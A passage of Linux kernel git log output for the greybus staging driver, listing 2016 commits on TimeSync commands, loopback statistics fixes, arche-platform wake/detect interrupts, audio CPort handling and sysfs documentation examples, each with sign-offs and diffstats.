Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 6 +++++- drivers/staging/greybus/connection.c | 13 ++++++++++++- drivers/staging/greybus/svc.c | 14 ++------------ drivers/staging/greybus/svc.h | 6 +++++- 4 files changed, 24 insertions(+), 15 deletions(-) commit 34145b608d4198d7c89bfeffded6bc71012b6d79 Author: Johan Hovold Date: Thu Mar 3 13:34:37 2016 +0100 greybus: svc: clean up CPortFlags handling Clean up CPortFlags handling and explicitly disable CSD when E2EFC is enabled (CSD_n is ignored when E2EFC is set). Note that the bootrom requires E2EFC, CSD, and CSV to all be disabled. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 17 +++++------------ 1 file changed, 5 insertions(+), 12 deletions(-) commit cb033188d8a783be55d03017954b8e7453799a5d Author: Johan Hovold Date: Thu Mar 3 13:34:36 2016 +0100 greybus: connection: add connection-flag interface Add interface for associating a flag bitmask with a connection when creating it. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 24 ++++++++++++++++++++---- drivers/staging/greybus/connection.h | 4 ++++ 2 files changed, 24 insertions(+), 4 deletions(-) commit 8fd9466b8c324bc87c5db58a46c33731d1ea50bf Author: Bryan O'Donoghue Date: Wed Mar 2 16:51:10 2016 +0000 greybus: control: Add TimeSync control commands Simple addition of the TimeSync commands defined in the specification. Note for the case of timesync_authoritative we're passing the request structure directly so as not to have to pass eight parameters into the function. Adds: - control.c::timesync_enable(u8 count, u64 frame_time, u32 strobe_delay, u32 refclk) Informs an Interface to expect count TimeSync strobe pulses with strobe_delay milliseconds delay between each strobe. Once enabled an Interface may not enter a low-power mode which will result in the reference timer used to track time switching off. - control.c::timesync_disable(void) Commands an Interface to immediately halt TimeSync logic. This will allow an Interface to transition into low-power modes where the reference time being used for TimeSync may switch off. - control.c::timesync_authoritative(u64 *frame_time, u8 count) Used by the AP Module to inform an Interface of the authoritative TimeSync clock-master time at each strobe pulse. Down-stream clock slaves shall adjust their local frame-time appropriately based on the diseminated authoritative frame-time. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 36 ++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/control.h | 5 +++++ 2 files changed, 41 insertions(+) commit 0bd39ca4898fb554bcba28c82f425cc6c88180b9 Author: Bryan O'Donoghue Date: Wed Mar 2 16:51:09 2016 +0000 greybus: timesync: Add Control and SVC protocol TimeSync operation definitions This patch adds the protocol command extenions for SVC and Control protocols to the greybus_protocols definition header consistent with the greybus-spec. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 36 +++++++++++++++++------------ 1 file changed, 21 insertions(+), 15 deletions(-) commit 177d4a4d34bc81e220cc2ef4056df3da25ad6994 Author: Bryan O'Donoghue Date: Wed Mar 2 16:51:08 2016 +0000 greybus: timesync: Add Control and SVC TimeSync command/response data definitions This patch adds the protocol command/response definitions for the SVC and Control protocols to the greybus_protocols definition header consistent with the greybus-spec. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) commit d6fefbe19327f4137360d7ab8af78f1d4d9b909e Author: Greg Kroah-Hartman Date: Sun Feb 28 14:13:27 2016 -0800 greybus: manifest: reserve the Bridged PHY class This reserves the bridged phy class number to be used later on. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar Reviewed-by: Johan Hovold drivers/staging/greybus/gpbridge.c | 12 ++++++++++++ drivers/staging/greybus/greybus_manifest.h | 2 +- 2 files changed, 13 insertions(+), 1 deletion(-) commit c7b07265046b5db56778dc8c2cfc9056413ec5ba Author: Greg Kroah-Hartman Date: Sun Feb 28 14:42:54 2016 -0800 greybus: gpbridge.h: move protocol init/exit prototypes Create gpbridge.h for the gpbridge-specific function prototypes, the rest of the greybus drivers don't care about them. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar Reviewed-by: Johan Hovold drivers/staging/greybus/gpbridge.c | 2 +- drivers/staging/greybus/gpbridge.h | 34 ++++++++++++++++++++++++++++++++++ drivers/staging/greybus/gpio.c | 1 + drivers/staging/greybus/i2c.c | 1 + drivers/staging/greybus/protocol.h | 26 -------------------------- drivers/staging/greybus/pwm.c | 1 + drivers/staging/greybus/sdio.c | 1 + drivers/staging/greybus/spi.c | 1 + drivers/staging/greybus/uart.c | 1 + drivers/staging/greybus/usb.c | 1 + 10 files changed, 42 insertions(+), 27 deletions(-) commit 3522a09fa7df45b49c27997b419a20d9dcff8919 Author: Michael Mogenson Date: Thu Mar 3 16:23:12 2016 -0500 greybus: remove gb_i2c_retries_operation Set retries operation was removed from the Greybus specification. Remove gb_i2c_retries_operation and all other no longer necessary code bits from the Greybus kernel code. Signed-off-by: Michael Mogenson Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 8 ------- drivers/staging/greybus/i2c.c | 33 ++--------------------------- 2 files changed, 2 insertions(+), 39 deletions(-) commit e494b580ea23a98f2f3b3507157c2d573240486c Author: Michael Mogenson Date: Thu Mar 3 16:23:11 2016 -0500 greybus: remove gb_i2c_timeout_operation Set timeout operation was removed from the Greybus specification. Remove gb_i2c_timeout_operation and all other no longer necessary code bits from the Greybus kernel code. Signed-off-by: Michael Mogenson Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 7 ------- drivers/staging/greybus/i2c.c | 31 ++++------------------------- 2 files changed, 4 insertions(+), 34 deletions(-) commit c7733b6167750a42da81133189e9cca33ce7584f Author: Johan Hovold Date: Wed Mar 2 18:00:51 2016 +0100 greybus: raw: use hexadecimal notation for request types Use hexadecimal notation for request types in log messages. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/raw.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 41993cd54fdc5c774cc4881e18a21e3e4a2544cd Author: Johan Hovold Date: Thu Mar 3 15:29:39 2016 +0100 greybus: loopback: fix double error count Make sure not count errors during asynchronous tests twice (first in the timeout handler then again in the completion handler) to avoid obviously broken error stats such as: $ loopback_test -i 1000 -t transfer -p -o 200000 -c 64 -x -s 2000 1970-1-1 1:3:35 test: transfer path: gb_loopback0 size: 2000 iterations: 1000 errors: 1998 async: Enabled requests per-sec: min=0, max=0, average=0.310556, jitter=0 ap-throughput B/s: min=0 max=4026 average=1254.647461 jitter=4026 ap-latency usec: min=12803 max=12803 average=12803.000000 jitter=0 apbridge-latency usec: min=89 max=89 average=89.000000 jitter=0 gpbridge-latency usec: min=294 max=294 average=294.000000 jitter=0 where we supposedly have more errors than iterations (operations initiated). Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 5bbe14b7acc2a00f51b23812ffc596577d94e80b Author: Mark Greer Date: Mon Feb 29 15:31:02 2016 -0700 greybus: audio: Split start and stop APBridgeA requests Provide finer-grained control of the audio streaming on APB1 by splitting the transmit/receive start and stop requests into prepare, start, stop, and shutdown. CC: Vaibhav Agarwal Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_apbridgea.c | 52 +++++++++++++++++++++++++++++++ drivers/staging/greybus/audio_apbridgea.h | 32 +++++++++++++++---- drivers/staging/greybus/audio_codec.c | 32 +++++++++++++++---- drivers/staging/greybus/audio_codec.h | 8 +++++ 4 files changed, 112 insertions(+), 12 deletions(-) commit 9250c0ee2626d371753027b1b5ede697676de6d1 Author: Axel Haslam Date: Fri Feb 26 11:39:49 2016 +0100 greybus: Loopback_test: use poll instead of inotify Inotify does not handle sysfs events, so use poll instead. The loopback kernel driver will send a notification when the test is complete. So, open a poll file descriptor for every enabled device, and after starting the test, wait for an event from each device. After all events are received, read the total number of iterations and make sure the test is complete. Also, add missing stdint header which was included in inotify. Signed-off-by: Axel Haslam Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/tools/loopback_test.c | 139 +++++++++++++------------- 1 file changed, 70 insertions(+), 69 deletions(-) commit 39c2787b120a6e69e065b255d4db97ee60d73bf8 Author: Axel Haslam Date: Fri Feb 26 11:39:48 2016 +0100 greybus: Notify user space only when the test finished. Currently, user space is notified for every message sent, but this is not really needed and does not work in the async case where all messages are sent from the start. Instead, notify userspace only when all the transfers are complete. This allows userspace to wait in a poll loop and wakeup only when the test is finished. Also, don't use the bundle kobj to send the notification it is the loopback device that contains the loopback attributes. Signed-off-by: Axel Haslam Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 9b22f155beb4e5a71f86710034b478ec43af9c43 Author: Viresh Kumar Date: Fri Feb 26 16:44:19 2016 +0530 greybus: hid: Replace WARN_ON() with dev_err() WARN_ON() is a bit harsh here, as we just failed to power-off the HID device while it is getting removed. Replace it with dev_err(). Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hid.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit b22b7104d5930ed4aae2c8494b8f95f20a85d66b Author: Viresh Kumar Date: Mon Feb 29 12:19:50 2016 +0530 greybus: hid: Don't disable connection-tx before destroying hid-device hid_destroy_device() can potentially call callbacks defined in struct hid_ll_driver, which may initiate few greybus operations. And so connection (tx) should be kept enabled until the hid-device isn't destroyed. Reported-by: Jiss Kuruvila Reported-by: Laurent Pinchart Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hid.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4a8e519902e73c833fb57f69bc194c2274dcdc30 Author: Mark Greer Date: Fri Feb 26 17:04:36 2016 -0700 greybus: audio: Register CPorts for specific directions Currently, it is assumed that all audio data CPorts registered on APB1 are used for transmitting audio data. That may not always be true like when a microphone is connected but no speakers. Also, the current special protocol lacks a way to tell APB1 whether the CPort being registered is for transmitting, receiving, or both. Fix by adding a 'direction' field to the register and unregister CPort requests and define bits indicating which direction (or both) audio data will go on that CPort. Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_apbridgea.c | 8 ++++++-- drivers/staging/greybus/audio_apbridgea.h | 5 +++++ drivers/staging/greybus/audio_codec.c | 9 ++++++--- drivers/staging/greybus/audio_codec.h | 6 ++++-- 4 files changed, 21 insertions(+), 7 deletions(-) commit 611924dd72594200ac55957b4e68b0a65bab143b Author: Greg Kroah-Hartman Date: Fri Feb 26 21:54:38 2016 -0800 greybus: expose full 32 bits of vid/pid to userspace Now that userspace is ready for all 32 bits of the vid/pid, take off our mask and send the full values. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 5 ++--- drivers/staging/greybus/interface.c | 25 ++----------------------- 2 files changed, 4 insertions(+), 26 deletions(-) commit fb37f137b78f186275b15e8ce1e5a26b51a6e6ad Author: Alexandre Bailon Date: Thu Feb 25 18:19:16 2016 +0100 greybus: loopback: Fix averaging Currently, we are adding 0.5 to the average to round the average. But we are using the remainder to calculate the decimal, so we do not need to round the average. In addition, use a u64 type for the remainder to avoid overflow that might happen when stats->sum value is too big, usually for requests per seconds and the throughput. Signed-off-by: Alexandre Bailon Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit ab81bb9c68d9fb899b79fa622fedf294e66fa53d Author: Alexandre Bailon Date: Thu Feb 25 18:19:15 2016 +0100 greybus: loopback: Fix throughput calculations Throughput and requests per second calculations are broken for asynchronous request. Instead of calculate the throughput for each iteration, calculate it once at the end of the test. In addition, update every seconds the min and the max for throughput and requests per second. Signed-off-by: Alexandre Bailon Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 81 +++++++++++++++++++++++++++----------- 1 file changed, 59 insertions(+), 22 deletions(-) commit d9048d8c96bfe2d18cdf7205b3de97aa344283a7 Author: Alexandre Bailon Date: Thu Feb 25 18:19:14 2016 +0100 greybus: loopback: Fix incoherency in calculations in the case of error Currently, in case the case of error, statistics are updated for asynchronous but not for an asynchronous operation. Do not update the statistics in the case of error. Signed-off-by: Alexandre Bailon Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) commit d97bbf3ed6211c01bd7df77d405dee2e9846cd68 Author: Alexandre Bailon Date: Thu Feb 25 18:19:13 2016 +0100 greybus: loopback: Fix calculations error for ping transfers For the async ping transfer, statistics are counted twice, once after the after the gb_loopback_async_operation() and once in the callback. Only keep the one in the callback. Signed-off-by: Alexandre Bailon Reported-by: Johan Hovold Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 1 - 1 file changed, 1 deletion(-) commit bf9deb29e2b3c5dbc97ce559325f4faa0bad5022 Author: Rui Miguel Silva Date: Thu Feb 25 18:05:09 2016 +0000 greybus: lights: remove unnecessary check lights can never be NULL at that point since lights_count must be different than zero, and we need only to validate the light_id. Reported-by: Johan Hovold Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/light.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e915ce48bae606b79150a4d799a30037604a93ed Author: Vaibhav Hiremath Date: Thu Feb 25 16:45:45 2016 +0530 greybus: arche-platform: Disable HUB3613 only in APB poweroff fn HUB3613 configuration, either disable (Standby mode) or enable (HUB mode) is related to APB. So it makes perfect sense to put both of them together in one function. HUB3613 enable happens only at one place, in hub_conf_delayed_work() fn, but disable is initiated from multiple places. Move all calls to usb3613_hub_mode_ctrl(false) to apb_poweroff(). Testing Done: Tested on DB3.5 platform. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) commit ff788de0b41b960d7b4a650e167cfcc0d3f63644 Author: Vaibhav Hiremath Date: Thu Feb 25 16:45:44 2016 +0530 greybus: arche-platform: Make sure APB power cycles on coldboot On first wake/detect pulse, everything works fine, as APB would be in poweroff state initially. But on subsequent wake/detect pulses, where APB is already in active state, internal function just returns doing nothing, as it finds that device is already in active state. So the solution would be to make sure that, whenever execution reaches to coldboot, make sure we power cycle it. Power off first, before powering on. Interrupt handler takes care of ignoring < 30msec pulses, so we should be safe here to power cycle APB. Testing Done: Testd on DB3.5 platform. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 2 ++ 1 file changed, 2 insertions(+) commit 7e43e337a524eb5ceab2cda9bbf882c35074bcc2 Author: Johan Hovold Date: Thu Feb 25 14:40:24 2016 +0100 greybus: operation: add support for short responses Add support for operations with short responses. So far we have assumed that the initiator of an operation always knows the exact size of the expected response. This is however not always the case and we've worked around this limitation in a couple of places by, for example, first requesting the size of a resource before fetching the actual data. To avoid such workarounds and simplify our protocols, add a short-response flag that can be set when allocating an operation. When this flag is set on an operation, core will accept a response that is shorter than the size of the (pre-allocated) response payload buffer. For now, we update the response-message payload_size field to reflect the actual length of the response received. Reviewed-by: Laurent Pinchart Tested-by: Laurent Pinchart Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 35 +++++++++++++++++++++++++---------- drivers/staging/greybus/operation.h | 28 ++++++++++++++++++++++++---- 2 files changed, 49 insertions(+), 14 deletions(-) commit 34804efb0c25d189bd9aa6e495a3bf5d778a0299 Author: Johan Hovold Date: Thu Feb 25 14:40:23 2016 +0100 greybus: operation: add temporary pointer to response handler As a preparatory clean up, add a temporary variable to point to the response message header. Reviewed-by: Laurent Pinchart Tested-by: Laurent Pinchart Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit d2320b2dbf95216e9aedf69345862f934ae55138 Author: Vaibhav Hiremath Date: Thu Feb 25 04:37:39 2016 +0530 greybus: arche-platform: Disable wake/detect interrupt in poweroff In poweroff() fn, we are shutting down SVC, so disable interrupt as well. Testing Done: Tested on DB3.5 platform. Signed-off-by: Vaibhav Hiremath Reviewed-by: Michael Scott Tested-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 1 + 1 file changed, 1 insertion(+) commit 0786212d6c1514545f33554b7403ea10d8061eb7 Author: Vaibhav Hiremath Date: Thu Feb 25 04:37:38 2016 +0530 greybus: arche-platform: Set direction of wake/detect gpio in poweroff fn With support of interrupt based mechanism, gpio is not longer set to output mode, so gpio_set_value won't work. So use gpio_direction_output() fn in poweroff(), while setting value on wake/detect line. Testing Done: Tested on DB3.5 platform. Signed-off-by: Vaibhav Hiremath Reviewed-by: Michael Scott Tested-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 16fe18ca9ef0a3d806d33121a3a653138a1a6854 Author: Vaibhav Hiremath Date: Thu Feb 25 04:37:37 2016 +0530 greybus: arche-platform: Assert wake/detect after SVC reset without delay Since now driver supports interrupt based mechanism to read events from SVC over wake/detect line, no need to delay wake/detect assertion. We can assert wake/detect after SVC reset deassertion, so during boot itself SVC will start sending wake_out pulses. Testing Done: Tested on DB3.5 platform. Signed-off-by: Vaibhav Hiremath Reviewed-by: Michael Scott Tested-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit f760bbfb5c10952739fd0d39869cdd6a43844037 Author: Vaibhav Hiremath Date: Thu Feb 25 04:37:36 2016 +0530 greybus: arche-platform: Enable interrupt support on wake/detect line This patch enabled interrupt support on events received over wake/detect line. The driver follows below state machine, Default: wake/detect line is high (WD_STATE_IDLE) On Falling edge: SVC initiates boot (either cold/standby). On ES3, > 30msec = coldboot, else standby boot. Driver moves to WD_STATE_BOOT_INIT On rising edge (> 30msec): SVC expects APB to coldboot Driver wakes irq thread which kicks off APB coldboot (WD_STATE_COLDBOOT_TRIG) On rising edge (< 30msec): Driver ignores it, do nothing. After coldboot of APB, HUB configuration work is scheduled after 2 sec, allowing enough time for APB<->SVC/Switch to linkup (in multiple iterations) Testing Done: Tested on DB3.5 platform. Signed-off-by: Vaibhav Hiremath Reviewed-by: Michael Scott Tested-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 120 +++++++++++++++++++++++++++++++ 1 file changed, 120 insertions(+) commit 685353c12ea33e99d1daba5b3721b9033cdbdb87 Author: Vaibhav Hiremath Date: Thu Feb 25 04:37:35 2016 +0530 greybus: arche-platform: Add wake detect state based on functionality If driver needs to process wake/detect events from SVC, by enabling interrupt support on wake/detect event, it becomes easier to maintain state of wake/detect line based on functionality. Testing Done: Tested on DB3.5 platform. Signed-off-by: Vaibhav Hiremath Reviewed-by: Michael Scott Tested-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit db5a3bca56584c0ae62dbe0b280333c75a813b0a Author: Vaibhav Hiremath Date: Thu Feb 25 04:37:34 2016 +0530 greybus: arche-platform: Convert delayed work to do only hub3613 configuration This is preparation of interrupt handling support, where APB coldboot and wake/detect handling will be handled as response to wake/detect interrupt. Due to slower I2C write operations in HUB configuration, it is important to separate HUB configuration, and probably delay it after APB is cold booted. Note that delayed work will be scheduled from interrupt handler, in following patches. To satisfy build (and bisect), remove apb_cold_boot() fn, which will be added back in the patch where it gets used again. Testing Done: Tested on DB3.5 platform. Signed-off-by: Vaibhav Hiremath Reviewed-by: Michael Scott Tested-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 64 ++++---------------------------- 1 file changed, 8 insertions(+), 56 deletions(-) commit 037a4028be8d6551dc226fc48c0c16063774e649 Author: Vaibhav Hiremath Date: Thu Feb 25 04:37:33 2016 +0530 greybus: arche-apb-ctrl: Remove extra delay in APB reset With synchronization between SVC <=> AP over wake/detect line to bring APB's out of reset, we do not need any extra delays now. So remove it. Testing Done: Tested for DB3.5 and EVT1.2 platform. Signed-off-by: Vaibhav Hiremath Reviewed-by: Michael Scott Tested-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 1 - 1 file changed, 1 deletion(-) commit c8733c513df38d5e5b3a19fe54be0f5821bfda2a Author: Johan Hovold Date: Mon Feb 22 18:50:56 2016 +0100 greybus: Documentation/sysfs: make 1-5 a 2x2 module Make example module 1-5 a 2x2 module by adding a second, dummy interface. This is both an example of how a 2x2 module would be represented and also suggests what a dummy interface may look like. A 2x2 module has two child interface devices and a num_interfaces value of two. In this example, the secondary interface 1-5.6, is a dummy interface and therefore lacks the normal identifying attributes (e.g. UniPro DDBL1 and Ara ids). We may eventually add an interface_type attribute to facilitate distinguishing various interface types (there may be more than two). In the following tree, the bundle attributes and child devices have been left out: greybus1/ ├── 1-2 │   ├── 1-2.2 │   │   ├── 1-2.2.1 │   │   ├── 1-2.2.2 │   │   ├── ddbl1_manufacturer_id │   │   ├── ddbl1_product_id │   │   ├── interface_id │   │   ├── product_id │   │   ├── serial_number │   │   ├── unique_id │   │   └── vendor_id │   ├── eject │   ├── module_id │   └── num_interfaces ├── 1-5 │   ├── 1-5.5 │   │   ├── 1-5.5.2 │   │   ├── ddbl1_manufacturer_id │   │   ├── ddbl1_product_id │   │   ├── interface_id │   │   ├── product_id │   │   ├── serial_number │   │   ├── unique_id │   │   └── vendor_id │   ├── 1-5.6 │   │   └── interface_id │   ├── eject │   ├── module_id │   └── num_interfaces └── 1-svc In this example there are two modules: 1-2 is a 1x2 module with one interface, and 1-5 is a 2x2 module with two interfaces of which the second (1-5.6) is a dummy interface. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../staging/greybus/Documentation/sysfs/greybus1/1-5/1-5.6/interface_id | 1 + drivers/staging/greybus/Documentation/sysfs/greybus1/1-5/num_interfaces | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) commit bd93d2a819c5e6081920f5dc775fc3361dbca5f7 Author: Johan Hovold Date: Mon Feb 22 18:50:55 2016 +0100 greybus: Documentation/sysfs: move module 1-4 to position 5 Move example module 1-4 to position 5, effectively renaming it 1-5. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs/greybus1/1-4/1-4.4/1-4.4.2/bundle_class | 0 .../greybus/Documentation/sysfs/greybus1/1-4/1-4.4/1-4.4.2/bundle_id | 1 - .../greybus1/1-4/1-4.4/1-4.4.2/gpbridge0/gpio/gpiochip490/.gitignore | 1 - .../sysfs/greybus1/1-4/1-4.4/1-4.4.2/gpbridge0/i2c-4/.gitignore | 1 - .../staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.4/1-4.4.2/state | 0 .../greybus/Documentation/sysfs/greybus1/1-4/1-4.4/ddbl1_manufacturer_id | 0 .../greybus/Documentation/sysfs/greybus1/1-4/1-4.4/ddbl1_product_id | 0 .../staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.4/interface_id | 1 - .../staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.4/product_id | 0 .../staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.4/serial_number | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.4/unique_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/1-4.4/vendor_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/eject | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/module_id | 1 - drivers/staging/greybus/Documentation/sysfs/greybus1/1-4/num_interfaces | 1 - .../greybus/Documentation/sysfs/greybus1/1-5/1-5.5/1-5.5.2/bundle_class | 0 .../greybus/Documentation/sysfs/greybus1/1-5/1-5.5/1-5.5.2/bundle_id | 1 + .../greybus1/1-5/1-5.5/1-5.5.2/gpbridge0/gpio/gpiochip490/.gitignore | 1 + .../sysfs/greybus1/1-5/1-5.5/1-5.5.2/gpbridge0/i2c-4/.gitignore | 1 + .../staging/greybus/Documentation/sysfs/greybus1/1-5/1-5.5/1-5.5.2/state | 0 .../greybus/Documentation/sysfs/greybus1/1-5/1-5.5/ddbl1_manufacturer_id | 0 .../greybus/Documentation/sysfs/greybus1/1-5/1-5.5/ddbl1_product_id | 0 .../staging/greybus/Documentation/sysfs/greybus1/1-5/1-5.5/interface_id | 1 + .../staging/greybus/Documentation/sysfs/greybus1/1-5/1-5.5/product_id | 0 .../staging/greybus/Documentation/sysfs/greybus1/1-5/1-5.5/serial_number | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-5/1-5.5/unique_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-5/1-5.5/vendor_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-5/eject | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-5/module_id | 1 + drivers/staging/greybus/Documentation/sysfs/greybus1/1-5/num_interfaces | 1 + 30 files changed, 6 insertions(+), 6 deletions(-) commit 8886c44f87cbee41fd4ac1cfdf1ef6a7cb4583f5 Author: Johan Hovold Date: Mon Feb 22 18:50:54 2016 +0100 greybus: Documentation/sysfs: add module devices Introduce module devices and rename interface and bundle devices. Greybus module devices correspond to physical modules and have one or more interfaces. Modules have an id that is identical to the id of their primary interface, which in turn is the interface with lowest numbered id. The module name is constructed from the bus and module id: - Interfaces and bundles are consequently renamed as -. and -.. respectively. As before, interface ids (and therefore in a sense now also module ids) correspond to physical interface positions on the frame. Modules have the following attributes: eject module_id num_interfaces where module_id is the id of the module and num_interface the number of interfaces the module has. Note that the interface ids of a module's interfaces are expected to be , , ..., . Writing a non-zero argument to eject cleanly shuts down and unregisters all of the module interfaces before ejecting the module. The example sysfs tree now looks as follows with the second bus (APBridgeA) left out: greybus1/ ├── 1-2 │   ├── 1-2.2 │   │   ├── 1-2.2.1 │   │   │   ├── bundle_class │   │   │   ├── bundle_id │   │   │   └── state │   │   ├── 1-2.2.2 │   │   │   ├── bundle_class │   │   │   ├── bundle_id │   │   │   └── state │   │   ├── ddbl1_manufacturer_id │   │   ├── ddbl1_product_id │   │   ├── interface_id │   │   ├── product_id │   │   ├── serial_number │   │   ├── unique_id │   │   └── vendor_id │   ├── eject │   ├── module_id │   └── num_interfaces ├── 1-4 │   ├── 1-4.4 │   │   ├── 1-4.4.2 │   │   │   ├── bundle_class │   │   │   ├── bundle_id │   │   │   ├── gpbridge0 │   │   │   │   ├── gpio │   │   │   │   │   └── gpiochip490 │   │   │   │   └── i2c-4 │   │   │   └── state │   │   ├── ddbl1_manufacturer_id │   │   ├── ddbl1_product_id │   │   ├── interface_id │   │   ├── product_id │   │   ├── serial_number │   │   ├── unique_id │   │   └── vendor_id │   ├── eject │   ├── module_id │   └── num_interfaces └── 1-svc ├── ap_intf_id ├── eject └── endo_id where greybus1 is a bus; 1-svc the svc; 1-2, and 1-4 are modules; 1-2.2 and 1-4.4 are (primary) interfaces; and 1-2.2.1, 1-2.2.2, and 1-4.4.2 are bundles. Note that the svc eject attribute may eventually be renamed force_eject. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.1/bundle_class | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.1/bundle_id | 1 - drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.1/state | 0 .../greybus/Documentation/sysfs/greybus1/1-2/1-2.2/1-2.2.1/bundle_class | 0 .../greybus/Documentation/sysfs/greybus1/1-2/1-2.2/1-2.2.1/bundle_id | 1 + .../staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/1-2.2.1/state | 0 .../greybus/Documentation/sysfs/greybus1/1-2/1-2.2/1-2.2.2/bundle_class | 0 .../greybus/Documentation/sysfs/greybus1/1-2/1-2.2/1-2.2.2/bundle_id | 1 + .../staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/1-2.2.2/state | 0 .../staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/bundle_class | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/bundle_id | 1 - .../greybus/Documentation/sysfs/greybus1/1-2/1-2.2/ddbl1_manufacturer_id | 0 .../greybus/Documentation/sysfs/greybus1/1-2/1-2.2/ddbl1_product_id | 0 .../staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/interface_id | 1 + .../staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/product_id | 0 .../staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/serial_number | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/state | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/unique_id | 0 drivers/staging/greybus/Documentation/sysfs/greybus1/1-2/1-2.2/vendor_id | 0 .../greybus/Documentation/sysfs/greybus1/1-2/ddbl1_manufacturer_id | 0 